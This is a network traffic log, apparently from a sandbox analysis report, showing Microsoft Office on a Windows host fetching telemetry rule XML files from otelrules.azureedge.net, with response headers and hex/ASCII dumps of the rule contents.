2024-11-15 18:39:39 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:39 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:39 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 7a5959cf-b01e-0097-4ca5-364f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183939Z-1866b5c5fbbvz6qbhC1DFWsyms00000000vg00000000eh9a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:39 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:39 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:40 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:40 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 835fac84-801e-002a-0b40-3631dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183939Z-1866b5c5fbbqmbqjhC1DFWwgvc000000013000000000tvmh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:40 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:39 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:40 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:39 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 5d2bddd1-201e-006e-8040-36bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183939Z-16547b76f7fgfpmjhC1DFWw6ec000000014000000000dra5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:40 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:39 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:40 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:39 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 99e874a7-501e-00a0-6b09-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183939Z-16547b76f7f67wxlhC1DFWah9w0000000nfg00000000fqwq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:40 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:40 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:40 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:40 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: cd727bf0-801e-007b-329c-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183940Z-16547b76f7fffb7lhC1DFWdsxg00000001w000000000af5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:40 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:40 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:40 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:40 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: fe042a41-f01e-0003-03af-364453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183940Z-16547b76f7fbkfmzhC1DFWm9tw000000017g00000000t2dm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:40 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:40 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:40 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:40 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 5a89c8d5-001e-0034-5160-35dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183940Z-164f84587bfffmgqhC1DFWk5ts00000001tg00000000mxaz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:40 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:40 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:40 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:40 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: cbfe6fba-701e-0053-2775-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183940Z-16547b76f7fxdzxghC1DFWmf7n0000000nhg00000000vuas x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:40 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:40 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:40 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:40 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 70ecc43c-201e-005d-53af-36afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183940Z-16547b76f7f9bs6dhC1DFWt3rg0000000ncg00000000xvy7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:40 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.7	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:40 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:41 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:41 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 7d919cb8-901e-0016-4409-37efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183941Z-1866b5c5fbbkbjq9hC1DFWf1es00000000qg0000000024gx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:41 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:41 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:41 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:41 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: a147f6b5-501e-0029-4426-37d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183941Z-164f84587bf7k72dhC1DFWvczs00000001h000000000t4m6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:41 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:41 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:41 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:41 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 7e8866c9-d01e-0082-5907-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183941Z-1866b5c5fbbz7hb5hC1DFWru7c00000001h000000000fuk8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
